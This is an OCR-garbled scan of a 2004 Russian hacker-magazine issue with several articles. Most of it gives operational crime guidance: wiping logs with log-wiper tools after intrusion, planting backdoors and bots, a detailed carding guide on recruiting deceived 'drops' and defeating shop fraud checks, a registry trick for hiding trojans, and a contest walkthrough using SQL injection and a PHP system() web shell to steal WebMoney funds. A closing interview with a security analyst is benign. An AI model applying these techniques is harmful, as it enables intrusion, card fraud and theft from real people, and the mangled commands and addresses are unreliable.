дешь его из шестнадцатеричного представле- 
ния в читабельный вид, то увидишь перл- 
скрипт, который в случае запуска Іаке’а ис- 
полнится на твоей тачке с рутовыми правами. 
Этот скрипт позволяет автору “эксплойта” хит- 
рым образом управлять твоей тачкой прямо 
из ІВС. Так что будь начеку. Перед запуском 
сплойта убедись, что это не подделка. Изучи 
сам исходный код - если, например, ты уви- 
дишь в нем обращение к функции зуз1ет() 
или ехес() - не забудь насторожиться :). 

.і ЧИСТКИ РОГОВ 

После того как эксплойт сработал успешно, в 
логи, как понимаешь, запишется много не- 
нужной информации ;). Хакеры, которые хо- 
тят остаться анонимными, «чистят логи два 
раза в день» ;). Думаю, ты знаешь, что по де- 
фолту все логи находятся в директории 
/ѵаг/Іодз. Можно, конечно, удалить всю папку 
целиком, но делать этого не стоит - админ 
сразу заподозрит неладное. Задача хакера - 



скрыть только свое присутствие в системе. 
Можно, в принципе, вычистить логи руками, 
но я не буду об этом рассказывать - этой те- 
ме уже посвящали целые статьи. Да это и не 
нужно вовсе. Зачем выполнять обезьянью ра- 
боту, которую за тебя может сделать прог- 
рамма? Да-да, именно программа. Софтин- 
ки, которые чистят логи, называются логвай- 
перами. Хороший логвайпер для Ипих’а - 
ѴапізН2. Только это не тот ваниш, которым 
одежду отбеливают, а тот, которым правят 
логи ;). Юзать его проще простого, достаточ- 
но лишь набрать в консоли: ,/ѵапізГі2 
имя_пользователя,_под^которым_засветил- 
ся хакер 0 твой ір. Этой командой ты уда- 
лишь из логов инфу, которая говорит о твоем 
пребывании на сервере. Но у этой тулзы есть 
две большие проблемы: она предназначена 
только для линукса и очень медленно рабо- 
тает. Есть логвайперы и для других осей, 
например, 2ар2, созданный для чистки логов 
в ЗипОЗ. Есть и еще один логклинер, отлича- 
ющийся многофункциональностью - дгіод- 
ѵѵіре. Дело в том, что он позволяет не только 
чистить логи, но и подставлять других лю- 
дей! Если хочешь подробнее узнать о нем - 
читай статью Рогб'а, расположенную по ад- 
ресу: тшкер.ги/таріпе/х$/032/030/Шт. 

А все вышеперечисленные логвайперы мож- 
но слить отсюда: иии.п$(1.ги/$оП.рІір?дгоир=!іаск- 
5оШіга2СІеІ=апопіт. 

Л ЗПКПЮЧЕНИЕ 

Вот и подходит к концу мое повествова- 
ние. Напоследок скажу, что может делать 
хакер с взломанным серваком. Для начала 
он установит туда бэкдор, чтобы не поте- 
рять доступ к системе. Хороших бэкдоров, 
находящихся в свободном доступе, я лично 
не видел (тулза, которую я юзаю, доста- 
лась по знакомству от Виддгу). Тебе же 
советую написать свой собственный Ьаск- 
боог, руководствуясь статьей Форбика «Как 
хакеры пишут свои бэкдоры», которая 
опубликована в февральском номере ][. 

Что полезного может получить хаксор от 
порученного сервака? Он может установить 
туда ІВС-бота, просканировать на предмет 
уязвимостей нужную сетку, поставить 
зоскз-сервер, не ведущий логов. Только 
представь, что будет, если запрячь нес- 
колько порученных тачек с широким кана- 
лом и распределенно брутить пароль к ка- 
кому-нибудь ресурсу. Сам понимаешь, 
насколько высока будет скорость перебо- 
ра. Но об этом мы расскажем подробно в 
следующих выпусках журнала. Т~ 



После того как эксплойт сработал 
успешно, в логи, как понимаешь, 
запишется много ненужной информации ;). 
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■ ЬООЫ ік (ЬООЫ ікіагеаі.хакер.ги) 



ВЗПОИ 



КЯКЕР/№06(66)/2004 



И ет семь назад один мой знакомый, будучи еще в 7 классе, скардип себе из-за бугра на домашний адрес крутой видеоускоритепь. 
И, похоже, не один он прокинул буржуев на деньги: уже через несколько пет большинство иностранных электронных магазинов 
ввели хитроумные антифраудовые системы и перестали высыпать товары в страны СНГ. Только вот все эти действия ни к чему 
не привели: российских кардеров такими штучками не напугаешь! 



ВСЕ О ПОДВОДНЫХ КПИНЯХ СОВРЕМЕННОГО КПРДИНГП 



НЕОБХОДИМЫЕ СВЕДЕНИЯ 

редставим абстрактного чело- 
века. Это нехороший человек, 
он кардер. Отец он в этих де- 
лах или ньюб - значения не 
имеет. Проблемы и преграды, 
встающие на пути кардера, 
у всех одинаковые, только 
уровень, на котором он их ре- 
шает, разный. Новичку, конечно, приходится 
сложнее, но, как пела Каста, все приходит 
с опытом. И стоит перед нашим кардером 
непростая задача: прикупить, используя 
чужие кредитные карты, партию ноутбуков, 
цифровых фотоаппаратов и немного фотока- 
мер. Вещевым кардингом занимается наш 
герой, в общем. Но вот незадача, кардер-то 
живет не в Штатах и даже не в европейской 
стране. Его родина - одна из стран СНГ. 

А отношение всего остального цивилизован- 
ного мира к нашим странам бывшего вели- 
кого и могучего Советского Союза очень да- 
же прохладное. И доставлять сюда товар 
никто не собирается - себе дороже выйдет. 
Что же делать кардеру в этом случае? Неуж- 
то идти работать, как Цой, кочегаром в Чер- 
кизове? Нет, это удел людей прошлого века, 
а в наше время цифровых технологий приня- 
то ломать голову и находить пути заработка 




денег с помощью мозгов, а не тяжелого фи- 
зического труда. Вскоре кардеры придумали 
дропов - подставных лиц, на которых 
оформляется заказ в электронном магазине. 
О дропах писалось много, но вот где их дос- 
тать? Здесь уже кардер придумывает и 
действует исходя из того, в какой стране он 
собирается заказывать товар и картами под- 
данных какого государства располагает мо- 
шенник. Логично предположить, что если 
владельцы, чьи креды используются для за- 
каза товара, являются гражданами Соеди- 
ненных Штатов Америки, то и заказ лучше 



всего осуществлять на территории Штатов. 
Ну а если карта европейская, тогда удобнее 
и менее напряжно кардеру будет дропнуть 
товар на родину кард-холдера. 

После выбора страны у кардера возникает 
новая проблема - где же отыскать подходя- 
щего дропа? Конечно, можно обратиться за 
помощью на специализированные форумы, 
однако это не лучшее решение: чрезвычайно 
велик риск нарваться на кидалово. Рипперы 
появляются как грибы после майского дож- 
дика (в мае из-под снега вылезают особен- 
ные грибы-галлюциногены! :)). Практика по- 



КПРДЕРЫ + КОКЕРЫ 

К ардеры - люди при деньгах. И платить за услуги и работу мо- 
гут щедро. Поэтому на различных кардерских форумах всег- 
да присутствуют личности, желающие продать свои услуги за 
хорошие деньги. Это и хакеры, предлагающие взломать нужный 
сайт или систему. Это и спамеры, предлагающие свои услуги 
в полном объеме. Здесь, разумеется, водятся и ддосеры, кото- 
рые за определенную сумму зелени опрокинут в Сети все что 
угодно. И даже ісф-хакеры здесь не остались без внимания. 
Любой уважающий себя кардер не прочь раскинуть пальцы 
веером, блеснув красивым номером своей аси :). 
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кодам из пош 

В истории кардинга имеет место реальный случай, когда ра- 
ботник АОЛа, пользуясь своими возможностями, отследил 
деловую переписку двух кардеров и в нужный момент дал од- 
ному из них от имени другого свой е-голд аккаунт. В резуль- 
тате этого к нему перекочевали 20 косых зелени :). Веселый 
такой парень попался, а главное, русским оказался. Чего там 
с ним сделали - история умалчивает, но мы ему не станем за- 
видовать. 



Допустим, наш юный кардер собирается 
дропнуть технику в США. 



казывает, что, проведя две-три удачных 
сделки по предоставлению услуг дропа и 
заслужив твое доверие, нормально зареко- 
мендовавшие себя дроповоды попросту ки- 
дают - и кидают по-крупному. По статистике 
так работают три четверти дроповодов. 

Опытный кардер, со своей давно сформи- 
рованной системой ведения дел и имеющий 
связи в этой сфере, не поведется на такие 
разводы. Ему это и не надо - все давно схва- 
чено, за все заплачено, везде свои люди. 
Случись что, рипперу просто вставят паяль- 
ник в задницу или еще что похуже сделают 
(я, кстати, редко шучу). А что же делать но- 
вичку? Ведь он никому не нужен, за него ник- 
то при случае не постоит :). Сейчас расскажу. 

А ПРИВЛЕЧЕНИЕ ЦРОПП 

Допустим, наш юный кардер собирается 
дропнуть технику в США. На услуги дропово- 
дов у него пока нет начального капитала, и 
приходится все делать самому. Есть нес- 
колько видов дропов. 

О. Негры, готовые работать за любые 
деньги, лишь бы была работа, и было на что 
жить. С такими людьми проще всего догово- 
риться. Они сами знают, на что идут и как 
это опасно, но они очень любят деньги и же- 



лают работать. Такой вид дропов долго не 
живет, и сажают их, как картошку в мае. 

О. Люди, которых обдурили. Такие дро- 
пы даже и не знают, что они участвуют в 
криминале, и с чистой совестью выполняют 
свою работу. Как такое возможно? Да зап- 
росто! Человеку вешается всякого рода лап- 
ша на уши, что, мол, так и так, не хотите ли 
работать с почтовой корреспонденцией? 
Учитывая, что кусок хлеба предлагается 
очень даже неплохой за то, что человек бу- 
дет получать посылки и отправлять их куда 
следует, потенциальный дроп соглашается. 




Фотоаппарат - любимая вещь кардера 




После этого следует несколько формальнос- 
тей: составляется фейковый договор о прие- 
ме на работу, обсуждаются некоторые дета- 
ли и тонкости, относящиеся к делу, и все, 
дроп готов. 

О. Негры-гангстеры :). Это люди, кото- 
рые, помимо услуг дропов, предоставляют 
услуги по сбыту карженного товара. У них 
есть своя сеть сбыта, и тебе от них поступа- 
ет уже не сам товар, а только денежная до- 
ля. Это вообще отличный вариант, но, к со- 
жалению, найти такого человека очень слож- 
но, и такие дропы обычно через некоторое 
время исчезают бесследно в неизвестном 
направлении. Это связано с родом их дея- 
тельности в реале :(. 

О. Соотечественники, находящиеся за 
границей. С ними проще всего договорить- 
ся, если они в принципе на это согласны. 

С русскими всегда все просто :). Очень хо- 
роший вариант, когда знакомый дроп просто 
летит отдохнуть за рубеж и в последние дни 
своего пребывания там получает на себя то- 
вар, после чего спокойно с ним возвращает- 
ся и делится нажитым имуществом. 

О. И последний вид дропов. На самом 
деле, в Штатах принимать товар на себя то- 
же палевно. Люди, которые это понимают, 
ищут эдакого Джорджа-дурачка, который за 
небольшую плату будет принимать товар и 
передавать уже в руки законному «владель- 
цу». Вот и все, предположим, что наш герой 
уже заимел собственного дропа и догово- 
рился с ним о процентах. Самый приемле- 
мый вариант дележки прибыли - шестьде- 
сят к сорока. Надо понимать, что без дропа 
ничего не выйдет, и делиться с ним нужно 
щедро, чтобы у него был стимул работать. 
Что же делать кардеру дальше? 

А ВЫБОР ИНТЕРНЕТ-И0Г03ИН0 

Не так-то просто найти подходящий интер- 
нет-магазин, занимающийся продажей това- 
ра онлайн. Все упирается в систему защиты 
этого шопа от разного рода махинаций. 

Одна из таких защит - контрольный зво- 
нок из офиса магазина по телефону, указан- 
ному при оформлении заказа. Оператор 
спрашивает по телефону, правда ли был сде- 
лан заказ, уточняет пару деталей и, если все 
нормально, сделке дается зеленый свет. Есть 
три выхода из подобной ситуации: указыва- 
ется мобильный дропа, и он принимает все 
звонки на себя, говоря все, что ему предпи- 
сывал кардер. Дроп представляется разными 
именами, в зависимости от того, по какому 
заказу звонят, и ведет беседу. Второй способ 
- у кардера есть симка зарубежного опера- 
тора, которая принимает роуминговые звон- 
ки. В этом случае мошеннику надо знать за- 
бугорный язык на приличном уровне, чтобы 
не вызывать никаких подозрений со стороны 
шопа. Все остальное аналогично первому 
случаю. Ну а третий способ - указывать те- 
лефоны, которые всегда заняты. Списки та- 
ких телефонов можно найти на специализи- 
рованных форумах в интернете или приоб- 
рести их у надежных людей. Самое интерес- 
ное, что телефоны именно всегда заняты, и 
по ним не дозвониться. В итоге заказ выпол- 
няют, отчаявшись поговорить с заказчиком, 
ведь интернет-магазину тоже надо на что-то 
жить. Главное, указывать телефон из того 
штата и города, куда сделан заказ. 




а В конце месяца 
кард-холдеру при- 
носят распечатку 
расходов с кредит- 
ной карты. Запо- 
дозрив неладное, 
он может оспорить 
и отменить некото- 
рые платежи. Это 
называется 
чарджбэком. 
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а Некоторые шопы 
не прозванивают 
заказы и не совер- 
шают никаких по- 
пыток просечь мо- 
шенничество. Это 
может быть фейко- 
вый магазин для 
сбора информации 
о кредитных кар- 
тах. Если же это 
нормальный шоп, 
то, после того как 
кардеры с ним по- 
работают, он может 
и обанкротиться 
из-за чарджбэков. 

“< 4 >“ 

а Не стоит забы- 
вать, что все 
действия нашего 
вымышленного 
кардера противо- 
законны, поэтому 
статья дана лишь в 
целях ознакомле- 
ния. За примене- 
ние этого материа- 
ла в незаконных 
целях автор и ре- 
дакция ответствен- 
ности не несут. 



ЛЯТПЫ 



И ятлы - это особые персонажи. Стучатся к опытным карде- 
рам в асю и говорят: я согласен быть вбивалой. Только 
опыта у меня нет, проксей нет, ничего нет. За определенную 
плату все сделаю. Дятлу выдается все что нужно и объясняет- 
ся все досконально. Дятел делает все как надо. А потом идет 
в другой шоп и в третий и повторяет эту процедуру с теми же 
картами. В итоге идет дикое количество чарджбэков и все за- 
парывается. 



Конечно, кардер в любом случае 
использует прокси. Но юзать проксю - 
не самое главное. 



Еще часто менеджеры магазинов просят 
прислать им по факсу скан кредитной карты, 
чтобы они могли убедиться, что ты настоя- 
щий ее владелец. Не знаю, я бы бежал от 
такого магазина и навсегда бы о нем забыл 
:). Пытаться впарить поддельный скан - ге- 
моррой еще тот, и уж точно занятие не для 
новичка. Стоит еще смотреть на такие вещи, 
как, например, в какие места доставляют то- 
вар, а в какие нет. Бывает так, что магазин 
работает только с определенными штатами. 
Так что, если дроп протирает штаны в Ари- 
зоне, а магазин работает с Невадой, можно 
смело забивать на него. 

При выборе интернет-магазина для заказа 
товара стоит уделять внимание еще и такому 
вопросу, как минимальная и максимальная 
сумма покупки. Хотя минимальная сумма - 
это скорее уже черта, которую рисует себе 
сам кардер. Невыгодно заказывать в шопе то- 
вар на незначительную сумму, нужно же еще 
делиться с дропом! Да и если фотики будут 
на сумму меньше 200-300 баксов, никому ты 
их не сплавишь. Поэтому заказывают товары 
стоимостью от 400 баксов и выше, потому что 
впоследствии, при сбагривании техники в ре- 
але, на нее будет больший спрос из-за раз- 
ницы между среднерыночной ценой и ценой, 
по которой предлагает технику кардер, а так- 
же из-за соотношения цена/качество :). 

И еще одно железное правило для кардера 
при заказе товара в интернете: не стоит ис- 
пользовать несколько карт на одном сайте, да 
еще и на одного дропа. Не поверят же :). Аме- 
ры, они хоть и глупые от гамбургеров с кока- 
колой, но не дураки. Поэтому главная пробле- 
ма - искать подходящие магазины в большом 
количестве. Плюс к этому, желательно, чтобы 
магаз имел услугу онлайн-процессинга, чтобы 
после заказа можно было отследить путь тво- 
его платежа. В этом случае покупателю выда- 
ется свой собственный аккаунт на сайте 
(трак), зайдя по которому, можно увидеть, 
прошел платеж или на него поступил деклайн. 
В случае деклайна можно даже посмотреть 
причину отказа. 

Конечно, кардер в любом случае использу- 
ет прокси. Но юзать проксю - не самое глав- 
ное. Главное - юзать правильную проксю. Что 
значит правильную? В случае с интернет-ма- 
газинами под «правильным» проксиком пони- 
мается зоскз-сервер, который по своему геог- 



рафическому местоположению соответствует 
штату, из которого, якобы, был сделан заказ 
и в котором этот заказ должен быть исполнен. 
Но америкосы, разумеется, понимают, что ес- 
ли человек зашел под проксей, то ему есть 
что скрывать. А что можно скрывать? Конечно 
же, свое настоящее месторасположение. 

И будь у нашего кардера прокся хоть тысячу 
раз соответствующая нужному штату, его 
пошлют прогуляться лесом. Именно поэтому 
кардеру нужны зоскз-ргоху, висящие на нес- 
тандартном порту, чтобы его не пропалили. 

А подготовка к бою 

Ну что ж, наш кардер выполнил и эту задачу, 
найдя несколько магазинов, в которых соби- 
рается отовариться. Что, думаешь, он уже 
прям так и побежал делать заказы? :) Не-а, 
кардеру необходимо продолжить подготовку 
- теперь он займется настройкой собствен- 
ной системы, чтобы создать полную иллю- 
зию того, что он действительно богатый 
Джон Смит из Алабамы, и хочет купить 
3 ноутбука по $2к каждый. Я уже говорил, 
что американцы не дураки? Самая распрост- 
раненная ошибка начинающих кардеров - 
использование русифицированной винды. 
Использовать нужно исключительно английс- 
кую версию операционной системы, причем 



обязательно без установленных русских 
шрифтов. Сам посуди, какой извращенец 
станет сидеть под русской виндой, живя в 
Америке, да еще и с именем бобп Зтііб? 
То-то же! Аналогично, необходимо выставить 
временную зону, соответствующую той стра- 
не, из которой якобы делается заказ. Можно 
просто отключить в свойствах браузера под- 
держку ДаѵаЗсгірІ:, но так далеко не уедешь, 
поскольку часто сайт магазина просто не ра- 
ботает без Заѵа-скриптов. 

А И НПП0СПЕД0К 

Это далеко не все проблемы, которые при- 
ходится решать кардерам. Я описал в этой 
статье только самые распространенные 
проблемы вещевого кардинга. Если тебя ин- 
тересует эта тема, поройся в инете и поищи 
ответы на свои вопросы - это будет твоим 
домашним заданием. 

ТХРэШгРХСНіЭ 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес БкІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тірз&Тгіскз Иван Скляров. 



а В ][ 04 на стр.91 Грей советовал установить атрибут 
шифрования, для того чтобы АѴР не кричал на твою 
коллекцию ХАК софта. Как вариант - запретить любой 
доступ к этой папке 5У5ТЕМ (Свойства папки - 
Безопасность - поставить все галки напротив зузіелі на 
запрет). В РгѴѴеЬ есть так называемый "Список 
исключаемых путей". Папки, добавленные в этот 
список, проверяться не будут. 

Зегдеу Роіікагроѵ 
роІуак@Ьк.ги 

л Если ты любишь прописывать свои трояны по адресу 
в реестре: НКй\ШШЕ\Місго$оГІ\Сі]ггепіѴег$іоп\Вип, 
то забудь про этот путь. Я нашел более подходящий спо- 
соб: НКСЕ\50ГШАРЕ\Місго5оД\СиггепІѴег5іоп\Кип\Кип, 
что даст тебе невидимость в птапіід'е и подобных ути- 
литах. Так что дерзай! Испытано и в 9х/ИТ. 

-=Іѵай=- 
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а На нашем диске 
ты найдешь видео- 
ролик, посвящен- 
ный прохождению 
майского конкурса. 



■ №0(п5і1ііп5і1.іи) 



зді-базы данных, поэтому у нас есть шанс реализовать атаку зрі- 
іпіесііоп. Корректность пароля проверяется таким зці-запросом: 
5ЕІ.ЕСТ * РВОМ изегз ѴѴНЕРЕ изег='$изег' апр разз='$разз' (изврат, 
но все-таки таким образом реализована авторизация на куче сай- 
тов!). Если этот запрос вернет какой-нибудь результат, значит па- 
роль, введенный юзером, будет соответствовать паролю, который 
хранится в базе. Но что будет, если в поле «пароль» написать не 
«ту дооб раззѵѵогр», а что-нибудь типа «хакер’ ог ‘а’- а»? Тогда 
запрос будет выглядеть следующим образом: ЗЕШСТ * РВОМ изегз 
ѴѴНЕРЕ изег='асітіп' апсі разз= 'хакер' ог ‘а’-а’. Это приведет к то- 
му, что ты залогинишься под админом, не зная пароля! Первый этап 
пройден. Исследуя сервер дальше, попадаем на скрипт абтіп.рбр, 
которому через переменную іпс передается имя іпсіибе-файла. Но 
тут не все так просто - инклудить в нашем случае можно только ло- 
кальные файлы, поэтому шелл-акцес так просто не получишь. На 
помощь к нам приходит другой скрипт из панели управления - 
ѵѵгііе.рбр, который предназначен для записи напоминания админу, 
которое заносится в файл парот.М. Сам понимаешь, что скриптом 
можно без всяких помех записать «напоминание» такого содержа- 
ния: «<? зузіет($стб);?>». А если мы заинклудим дырявым скрип- 
том абтіп.рбр файл парот.М, который содержит вышеупомянутую 
строчку, то получим веб-шелл. Исследуя скрипты обменника, нахо- 
дим в них ѴѴМЮ и пароль к кошелькам. Также сливаем с сервера 
*.кѵѵт и *.рѵѵт-файлы, которые лежат в той же дире, что и скрипты 
обменника. Остается только поломать пароль к почтовому ящику, 
который привязан к падонкафскому ѴѴМЮ. А так как один из паро- 
лей совпал с паролем от мыльника, делать это даже не пришлось :). 
Вся необходимая инфа у нас теперь есть. Логинимся под ѴѴМ-иден- 
тификатором обменника, вводим код активации, который придет на 
мыло, и переводим бабки к себе! 



П рошло тридцать дней с момента запуска майского конкур- 
са, за которые в историю X успел войти еще один человек. 
Итак, нашим новым грабителем... ой, в смысле победите- 
лем, стал ВеапІІт (геапМуапйех.ш). Как раз его мы хотим не только 
поздравить, но и вручить зачипатый приз. Заруливай в редакцию и 
забирай его - он ждет тебя с нетерпением! 

Ну а теперь пора перейти к следующему конкурсу. Ребята с сай- 
та м.райопак.ги, лишившись своего капитала, поняли, что бизнес с 
обменным пунктом ѴѴеЬМопеу им не светит, поэтому они решили 
попробовать себя в другом деле - в программировании. Они напи- 
сали жалкое подобие форума и установили свой «программный 
продукт» :) у себя на сайте. Но из-за того, что руки у них растут 
сам знаешь откуда, их самопальная софтинка не осталась обделен- 
ной багами. 

Что тебе нужно сделать в этот раз? 

1 ) Сначала находишь в вышеописанном самодельном форуме 
баг, который даст тебе шелл-доступ. 

2) Далее находишь файл конфигурации скриптов, работающих с 
МуЗСІ-. 

3) Из найденного файла выдираешь логин с паролем от базы. 

4) Ставишь на сервер какой-нить Му50І--клиент (например, 
рбрМуАбтіп) и сливаешь из базы секретную таблицу. 

5) Если ты первый пришлешь эти данные из базы, станешь по- 
бедителем конкурса. 



как пройти майский конкурс 



Исследуя ссылки на мш.райопакти, натыкаемся на админский ин- 
терфейс управления обменным пунктом, доступ в который ограни- 
чен веб-авторизацией. Выбираем селектором логин «абтіп», а в по- 
ле «пароль» вписываем одинарную кавычку ‘ и жмем на кнопку «за- 
тусить». Результатом нажатия этого батона будет появление надпи- 
си «зрі еггог». Это говорит о том, что логин с паролем берутся из 
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российском зесигііу-сообществе не так уж много громких имен. Попробуй на досуге составить список, и, я уверен, он остановится 
на первой десятке. Сегодня в гостях у ][ один из самых известных в России спецов по безопасности, аналитик НИП Информзащита Пяексей 
Пукацкий, который прославился благодаря своим многочисленным статьям и ряду книг, включая "Обнаружение атак" и "Птака из интернет". 



ИНТЕРВЬЮ С ППЕКСЕЕМ ПУКПЦКИИ 



тіпсІѵѵОгк: 

Р асскажи про то время, когда 
ты только начинал осваивать 
компьютер. Как давно это 
было, на чем тогда работал, 
первые эксперименты прог- 
раммирования, самые яркие 
воспоминания? С чего нача- 
лось знакомство с сетями? 

АЛ: Давно это было ;-). Я тог- 
да учился в школе, и у нас создали компью- 
терный класс, в котором стояли БК-001 ОШ 
и вершина компьютерной мысли - ДВК. До- 
пускали к ним только особо продвинутых 
учеников. Раз БК, то первым моим языком 
программирования был Бейсик. Уже в инсти- 
туте нас обучали С, но я на него забил и са- 
мостоятельно изучал ТигЬо РазсаІ. Были по- 
пытки работать на Ассемблере (для писюков 
и ЕэСок), но длилось это недолго. Сейчас 
время от времени программирую на Оеірбі, 
больше для своих нужд. 

Ярких воспоминаний не так уж и много. 
Помню своего школьного учителя информа- 
тики Алексея Геннадиевича, выпускника мех- 
мата. Он учил нас тому, что хороший прог- 
раммист не тот, кто виртуозно владеет С или 
Ассемблером, а тот, кто умеет создавать ал- 
горитмы для решения поставленных задач 
и запрограммировать их на том языке, кото- 
рый лучше всего для этого подходит. 
Собственно, то же самое можно сказать и 
про специалиста по защите. Неважно, с ка- 
кими межсетевыми экранами ты работаешь, 
главное - знать, как работает тот или иной 
сервис, софт, устройство. Зная это, напи- 
сать правила можно для любого экрана. С 
сетями (на тот момент одноранговыми) я 
познакомился на последнем курсе МИРЭА, 
но, учитывая уровень технического оснаще- 



ния вузов, знакомство это имело поверхно- 
стный характер. Только в Информзащите я 
занялся изучением сетей серьезно. Что ка- 
сается экспериментов - в основном это были 
попытки обойти блокировщики запуска игру- 
шек, установленные преподами ;-). Учитывая 
то, что интернет в России в то время был 
уделом избранных, мы и не думали о всяких 
Оо5-атаках, червях, сканах и т.д. 

тіпсІѵѵОгк: Как ты стал работать в Информ- 
защите? Какая у тебя там сейчас официаль- 
ная должность? Чем занимаешься большую 
часть времени на работе? 

АЛ: После института я больше года прорабо- 
тал администратором безопасности в одном 
холдинге, но после сокращения вынужден 
был искать новое место работы. Попал в 
один из крупнейших на тот момент банков 
(он почил после дефолта) в отдел защиты 
информации и трудился на испытательном 
сроке около полугода. Параллельно с этим 
меня пригласили в Информзащиту, где я так- 
же проходил испытательный срок. В какой-то 
момент мне пришлось делать выбор, где ос- 
таться, и решение было в пользу Информза- 
щиты. Платили там гораздо меньше, чем в 
банке, но работа была куда как интереснее. 
Начиная аналитиком, со временем я стал 
главой отдела интернет-решений, кем и ра- 
ботаю на протяжении последних 6 лет. Ат.к. 
наш отдел входит в структуру Департамента 
маркетинга, то числюсь еще и заместителем 
директора этого подразделения. Передо 
мной стоят 2 основные задачи: заниматься 
продвижением решений по интернет-безо- 
пасности (системы обнаружения атак, скане- 
ры безопасности и т.д.) и развивать наш ин- 
тернет-сайт. Все время уходит на написание 



различных публикаций и статей, выступление 
на семинарах, преподавание на курсах и т.д. 

тіпсІѵѵОгк: Почему ты решил связать жизнь 
с ІТ? Об этом ли ты мечтал в детстве? :) Что 
больше всего нравится в работе, и где кро- 
ются "подводные камни"? 

АЛ: О чем я мечтал в детстве, уже не пом- 
ню. Но после 10 класса решил стать прог- 
раммистом, т.к. это было модно и актуально. 
Такой выбор мне помог сделать мой препо- 
даватель. На втором курсе института меня 
случайно распределили в отдел защиты ин- 
формации одного из "ящиков". Там я увлекся 
этой темой и уже осознанно выбирал тему 
диплома именно по безопасности. А дальше 
пошло-поехало. Сейчас о сделанном выборе 
не жалею. Скажу больше, со временем защи- 
та информации будет становиться все более 
востребованной специальностью. Уже сейчас 
ощущается нехватка профессионалов, а что 
будет через пяток годков? Ведь компьютеры 
проникают во все сферы человеческой дея- 
тельности, а где они, там и их защита. 

тіпсІѵѵОгк: Опиши свое рабочее место. Какие 
самые необходимые вещи, есть ли что-то, что 
лежит "мертвым грузом"? Рабочее место мно- 
гих компьютерщиков (особенно хакеров) зава- 
лено разным хламом, бороться с которым бы- 
вает очень сложно. Как насчет тебя? 

АЛ: У меня два рабочих места - стационар- 
ное и мобильное. На офисном столе стоят 2 
компьютера, телефон и, конечно, куча бумаг. 
Недавно, прочитав умную книжку про опти- 
мизацию персональной деятельности, я пос- 
тавил себе на стол 2 больших ящика с лотка- 
ми для бумаг. Теперь всю макулатуру скла- 
дываю туда ;-). Ею же у меня забиты находя- 
щиеся рядом книжная полка и тумбочка. Во- 
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обще-то, для эффективного управления сво- 
им рабочим местом, как и временем, нужен 
особый склад характера. Мобильное рабочее 
место - это мой КПК, с которым я работаю 
по дороге из дома на работу и обратно. 
Именно на нем я пишу свои статьи и книги, 
на нем храню большие объемы данных по 
зесигііу, на нем читаю книги и т.д. С КПК я 
не теряю в дороге 3 часа времени. 

тіпсІѵѵОгк: Нужен ли в работе, связанной 
с компьютерной безопасностью, творческий 
подход, талант, или достаточно просто нара- 
батывать опыт, читать умные книги? Какие 
качества в первую очередь должен 
иметь/выработать в себе зесигііу- эксперт? 
АЛ: Все зависит от того, что этот эксперт 
делает. Я, например, практически не занима- 
юсь администрированием каких-либо сис- 
тем. Исходя из моей прошлой деятельности, 
могу сказать, что хороший админ - это сплав 
опыта, знаний и реакции. Причем на первое 
место я ставлю опыт, который делает админа 
админом. Без реакции в зесигііу вообще не 
обойтись. Именно умение вовремя заметить 
и среагировать на ту или иную атаку отлича- 
ет эксперта от начинающего. А знания? Ими 
может обладать каждый, но не каждый стано- 
вится гуру в информационной безопасности. 
Сейчас у меня несколько иная работа. Я ско- 
рее занимаюсь ликбезом и рассказываю лю- 
дям, почему надо защищаться, как и чем. А 
здесь без творческого подхода не обойтись. 
Иначе очень трудно спуститься с небес на 
землю и начать говорить с людьми на их язы- 
ке, без всех этих терминов: "ПАЮ", "кластери- 
зация", "Соттоп Сгііегіа" и "субъект доступа". 
А умные книги читать всем полезно ;-). Даже 
если ты не будешь вторым Крисом Клаусом, 
Кевином Митником или ЗАРАЗой, то все 
равно имеешь шанс стать грамотным специ- 
алистом, который хорошо выполняет свою 
работу. Главное - это нарабатывать опыт, 
чтобы потом уметь вовремя распознать все 
подводные камни, предвестники серьезных 
проблем и т.д. А еще хороший зесигііу-экс- 
перт - это психолог, который не только уме- 
ет найти общий язык с неграмотными в об- 
ласти зесигііу сотрудниками, но также не до- 
пускать конфликтов с ИТ-подразделением, 
если отделы разделены. 

тіпсІѵѵОгк: Расскажи о самых интересных 
зесигііу-проектах, в которых тебе доводилось 
принимать участие за последние несколько 
лет. Именно интересных, не обязательно из- 
вестных или коммерчески успешных. 

АЛ: По правде, ни в чем интересном пока 
участвовать не приходилось ;-(. Все больше 
варился в собственном соку. Только сейчас 
решил замутить несколько проектов, но пока 
до их завершения далеко, не хочу раскры- 
вать карты ;-). Хотя... интересным проектом 
можно назвать написание книжки "Обнару- 
жение атак". Помимо того, что я для самого 
себя систематизировал многие вопросы по 
сетевой безопасности, я вдобавок получил 
интересный опыт написания таких объемных 



трудов. Ведь создание книги сильно отлича- 
ется от написания статьи в журнал. 

тіпсІѵѵОгк: Часто ли тебе доводилось общать- 
ся с зарубежными коллегами? Отличаются ли 
чем-то их зес ррі от наших? :) Какой опыт, по- 
лученный в результате такого общения (совме- 
стной работы), ты особенно ценишь? 

АЛ: Не так часто. Мне и российского обще- 
ния достаточно ;-), тем более что в России 
специалисты не хуже, а иногда даже лучше 
западников. Нам приходилось изучать мно- 
гие вещи в условиях нехватки информации. 
Да и с техникой всегда были проблемы. По- 
этому в России стремятся досконально изу- 
чить то, что есть. Я помню, что мы творили с 
БК в школе... Мы занимались постоянным 
поиском, который и делает эксперта экспер- 
том. А сейчас? Многие хотят получить все 
готовое. Лишь у единиц присутствует жела- 
ние создать что-то свое, зато критиковать 
или писать в форумах "Лажа! Не фурычит!" 
могут все. Поэтому зсгірі кШез сейчас мно- 
го, а грамотных специалистов мало. И здесь 
мы постепенно равняемся с западом. 




тіпсІѵѵОгк: Как представитель крупной ІТ- 
компании ты наверняка участвуешь в специ- 
ализированных конференциях. Расскажи о 
самых ярких, например, о Первом ІТ-Зесигііу 
Форуме и АДЭ. Там все сугубо официально, 
с галстуками и скучными лекциями, или ин- 
тересные моменты тоже имеются? :) 

АЛ: Участвую, но ярких впечатлений нет ;-(. 
В России нет конференций, которые можно 
было бы назвать эталоном. На большинстве 
мероприятий выступающие занимаются рек- 
ламой своих продуктов и услуг, что очень 
негативно воспринимается участниками. Хо- 
тя и докладчиков можно понять - они запла- 
тили деньги и хотят за них получить макси- 
мум отдачи. Если же докладчики выступают 
бесплатно, то организатор со временем про- 
горает и ставит свое мероприятие на ком- 
мерческие рельсы, что, конечно, сужает круг 
возможных посетителей. Промежуточных ва- 
риантов практически нет. Есть еще одна 
проблема - в России очень мало действи- 
